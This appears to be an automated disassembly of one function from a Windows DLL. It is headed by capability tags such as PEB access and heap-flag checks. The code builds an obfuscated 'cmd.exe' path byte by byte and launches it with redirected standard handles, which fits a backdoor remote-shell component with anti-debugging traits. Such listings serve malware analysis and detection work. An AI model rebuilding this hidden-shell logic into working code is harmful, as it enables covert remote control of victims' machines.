Function at 0x10009270
Capabilities:
Access peb ldr_data
Get common file path
Get ntdll base address
Get number of processors
Get process heap flags
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x10018eab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x66c
mov eax, dword [esp + 0x67c]
push ebx
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x2c], esi
call fcn.100064b0
xor ebx, ebx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x30]
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x70], bl
rep stosd dword es:[edi], eax
xor ecx, ecx
lea edi, [esp + 0x71]
mov dword [esp + 0x10], ecx
mov byte [esp + 0x174], bl
mov dword [esp + 0x14], ecx
xor edx, edx
mov dword [esp + 0x18], ecx
mov ecx, 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x175]
mov dword [esp + 0xc], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xc], edx
mov ecx, 0x11
stosb byte es:[edi], al
mov dword [esp + 0x10], edx
xor eax, eax
lea edi, [esp + 0x2c]
mov dword [esp + 0x14], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x680], ebx
mov dword [esi], 0x1001a20c
mov word [esp + 0x1c], 0x50
mov word [esp + 0x1e], 0xc8
mov word [esp + 0x20], bx
mov word [esp + 0x22], bx
mov word [esp + 0x24], 0x4f
mov word [esp + 0x26], 0x18
mov dword [esp + 0x18], edx
call fcn.1000f070
mov dword [esi + 0x24], ebx
mov byte [esi + 0x140], bl
cmp dword [0x100229cc], ebx
jne 0x10009375
push ebx
push ebx
push ebx
push ebx
push sym.danim.dll_class_CRFontStyle____stdcall_CRAntiAliasing_class_CRFontStyle___double_
push ebx
push ebx
call fcn.10009c80
mov dword [esi + 0x24], eax
add esp, 0x1c
mov dword [0x100229cc], eax
push ebp
lea eax, [esp + 0x74]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x74]
lea edx, [esp + 0x178]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + eax + 0x74]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [eax], 0x5c
inc eax
mov byte [eax], 0x63
inc eax
mov byte [eax], 0x4d
inc eax
mov byte [eax], 0x64
inc eax
mov byte [eax], 0x2e
inc eax
mov byte [eax], 0x65
inc eax
mov byte [eax], 0x58
inc eax
mov byte [eax], 0x45
mov byte [eax + 1], bl
cmp byte [0x100229d0], bl
jne 0x100093ea
push 0xedd37dd5
push ebx
call fcn.10013d40
add esp, 8
test eax, eax
je 0x1000943c
lea edi, [esi + 0x3c]
mov byte [0x100229d0], bl
push edi
push 0x104
call fcn.1000eec0
add esp, 8
push 0x10020068
push edi
call ebp
push edi
call fcn.1000c4a0
add esp, 4
test al, al
jne 0x10009423
push ebx
lea ecx, [esp + 0x78]
push edi
push ecx
call dword [0x10023b50]
push edi
call fcn.1000c4a0
add esp, 4
test al, al
je 0x1000943c
lea edx, [esp + 0x74]
push edi
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [0x10023a8c]
test eax, eax
setne al
push 0xfffffffffffffff5
mov byte [esi + 0x140], al
call dword [0x10023a1c]
push 0xfffffffffffffff6
mov dword [esi + 0x10], eax
call dword [0x10023a1c]
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x14], eax
mov dword [esi + 0x20], ecx
mov dword [esp + 0x70], ecx
mov dword [esp + 0x6c], ecx
lea ecx, [esp + 0x30]
push ecx
mov dword [esp + 0x6c], eax
call dword [0x10023a88]
lea edx, [esp + 0x74]
mov edi, 1
push 0x10020064
push edx
mov dword [esp + 0x38], 0x44
mov word [esp + 0x68], bx
mov dword [esp + 0x64], edi
call ebp
lea eax, [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
lea edx, [esp + 0x17c]
push ecx
push edx
push ebx
push 0x20
push edi
push ebx
lea eax, [esp + 0x90]
push ebx
push eax
push ebx
call dword [0x10023bcc]
test eax, eax
pop ebp
jne 0x100094e7
mov ecx, dword [esp + 0x688]
push edi
mov byte [0x100229d0], 1
call fcn.10010040
jmp 0x1000959d
mov ecx, dword [esp + 0x1c]
mov edx, dword [esi + 0x20]
push ecx
push edx
call dword [0x10023a38]
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x20]
push eax
push edi
push ecx
call dword [0x10023a34]
mov edx, dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
push edx
call dword [0x10023bb0]
push edi
push 0x10001fa0
call dword [0x10023bb0]
push ebx
push ebx
call dword [0x10023bb0]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
push edx
mov dword [esi + 0x28], eax
mov dword [esi + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [0x100239a4]
mov dword [esi + 0x30], eax
lea eax, [esp + 0x278]
push 0x400
push eax
mov ecx, esi
mov word [esi + 0x34], 0xc8
mov byte [esp + 0x280], 0x80
mov byte [esp + 0x281], 3
call fcn.1000ec30
mov ecx, esi
call fcn.1000a2c0
mov dword [esi + 0x2c], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
push ebx
push ebx
push esi
push 0x10007790
push ebx
push ebx
mov dword [esi + 0x38], eax
call fcn.10009c80
add esp, 0x1c
mov dword [esi + 0x1c], eax
mov ecx, dword [esp + 0x678]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x678
ret 4